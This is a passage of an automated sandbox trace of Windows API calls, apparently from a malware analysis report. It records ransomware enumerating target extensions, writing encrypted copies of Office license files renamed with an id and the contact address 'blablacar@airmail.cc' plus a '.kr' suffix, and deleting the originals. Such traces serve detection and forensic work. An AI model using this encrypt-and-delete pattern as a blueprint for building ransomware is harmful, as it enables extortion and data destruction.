(lpString=".rar") returned 4 [0213.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString=".bz2") returned 4 [0213.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString=".7z") returned 3 [0213.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.963] lstrlenW (lpString=".dbf") returned 4 [0213.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.963] lstrlenW (lpString=".1cd") returned 4 [0213.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.963] lstrlenW (lpString=".jpg") returned 4 [0213.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.963] lstrlenW (lpString="ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 36 [0213.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.403] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10679) returned 1 [0214.403] CloseHandle (hObject=0x568) returned 1 [0214.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0214.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.404] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.404] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.405] GetLastError () returned 0x0 [0214.406] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x29b7, lpOverlapped=0x0) returned 1 [0214.408] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29c0, lpOverlapped=0x0) returned 1 [0214.409] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.409] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0214.409] SetEndOfFile (hFile=0x478) returned 1 [0214.409] CloseHandle (hObject=0x478) returned 1 [0214.410] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.410] SetEndOfFile (hFile=0x568) returned 1 [0214.413] CloseHandle (hObject=0x568) returned 1 [0214.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms")) returned 1 [0214.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.414] lstrlenW (lpString=".doc") returned 4 [0214.414] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.414] lstrlenW (lpString=".docx") returned 5 [0214.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.415] lstrlenW (lpString=".pdf") returned 4 [0214.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".xls") returned 4 [0214.415] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".xlsx") returned 5 [0214.415] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.415] lstrlenW (lpString=".ppt") returned 4 [0214.415] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString=".zip") returned 4 [0214.415] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".rar") returned 4 [0214.415] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".bz2") returned 4 [0214.415] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".7z") returned 3 [0214.415] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString=".dbf") returned 4 [0214.415] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString=".1cd") returned 4 [0214.415] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString=".jpg") returned 4 [0214.415] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.415] lstrlenW (lpString=".doc") returned 4 [0214.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.415] lstrlenW (lpString=".docx") returned 5 [0214.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.416] lstrlenW (lpString=".pdf") returned 4 [0214.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString=".xls") returned 4 [0214.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString=".xlsx") returned 5 [0214.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.416] lstrlenW (lpString=".ppt") returned 4 [0214.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.416] lstrlenW (lpString=".zip") returned 4 [0214.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString=".rar") returned 4 [0214.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString=".bz2") returned 4 [0214.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString=".7z") returned 3 [0214.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.416] lstrlenW (lpString=".dbf") returned 4 [0214.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.416] lstrlenW (lpString=".1cd") returned 4 [0214.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0214.416] lstrlenW (lpString=".jpg") returned 4 [0214.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.416] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.416] lstrlenW (lpString="ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0214.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.417] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22961) returned 1 [0214.417] CloseHandle (hObject=0x568) returned 1 [0214.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0214.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.418] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.418] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.419] GetLastError () returned 0x0 [0214.419] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x59b1, lpOverlapped=0x0) returned 1 [0214.421] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x59c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x59c0, lpOverlapped=0x0) returned 1 [0214.423] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.423] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0214.423] SetEndOfFile (hFile=0x478) returned 1 [0214.423] CloseHandle (hObject=0x478) returned 1 [0214.423] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.423] SetEndOfFile (hFile=0x568) returned 1 [0214.426] CloseHandle (hObject=0x568) returned 1 [0214.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms")) returned 1 [0214.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.428] lstrlenW (lpString=".doc") returned 4 [0214.428] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".docx") returned 5 [0214.428] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.428] lstrlenW (lpString=".pdf") returned 4 [0214.428] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".xls") returned 4 [0214.428] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".xlsx") returned 5 [0214.428] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.428] lstrlenW (lpString=".ppt") returned 4 [0214.428] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.428] lstrlenW (lpString=".zip") returned 4 [0214.428] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".rar") returned 4 [0214.428] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".bz2") returned 4 [0214.428] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.428] lstrlenW (lpString=".7z") returned 3 [0214.428] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".dbf") returned 4 [0214.429] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".1cd") returned 4 [0214.429] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".jpg") returned 4 [0214.429] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".doc") returned 4 [0214.429] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".docx") returned 5 [0214.429] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.429] lstrlenW (lpString=".pdf") returned 4 [0214.429] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".xls") returned 4 [0214.429] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".xlsx") returned 5 [0214.429] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.429] lstrlenW (lpString=".ppt") returned 4 [0214.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".zip") returned 4 [0214.429] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".rar") returned 4 [0214.429] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".bz2") returned 4 [0214.429] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.429] lstrlenW (lpString=".7z") returned 3 [0214.429] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.429] lstrlenW (lpString=".dbf") returned 4 [0214.430] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.430] lstrlenW (lpString=".1cd") returned 4 [0214.430] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0214.430] lstrlenW (lpString=".jpg") returned 4 [0214.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.430] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.430] lstrlenW (lpString="ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0214.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.431] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11637) returned 1 [0214.431] CloseHandle (hObject=0x568) returned 1 [0214.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0214.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0214.431] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.431] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.432] GetLastError () returned 0x0 [0214.432] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d75, lpOverlapped=0x0) returned 1 [0214.434] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0214.435] ReadFile (in: hFile=0x568, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0214.435] WriteFile (in: hFile=0x478, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x124, lpOverlapped=0x0) returned 1 [0214.435] SetEndOfFile (hFile=0x478) returned 1 [0214.436] CloseHandle (hObject=0x478) returned 1 [0214.436] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0214.436] SetEndOfFile (hFile=0x568) returned 1 [0214.439] CloseHandle (hObject=0x568) returned 1 [0214.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0214.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.440] lstrlenW (lpString=".doc") returned 4 [0214.440] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString=".docx") returned 5 [0214.440] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.440] lstrlenW (lpString=".pdf") returned 4 [0214.440] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString=".xls") returned 4 [0214.440] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString=".xlsx") returned 5 [0214.440] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.440] lstrlenW (lpString=".ppt") returned 4 [0214.440] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.440] lstrlenW (lpString=".zip") returned 4 [0214.440] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString=".rar") returned 4 [0214.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.440] lstrlenW (lpString=".bz2") returned 4 [0214.441] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString=".7z") returned 3 [0214.441] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString=".dbf") returned 4 [0214.441] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString=".1cd") returned 4 [0214.441] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0214.441] lstrlenW (lpString=".jpg") returned 4 [0214.441] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.441] lstrlenW (lpString="C:\\Program Files\\Microsoft 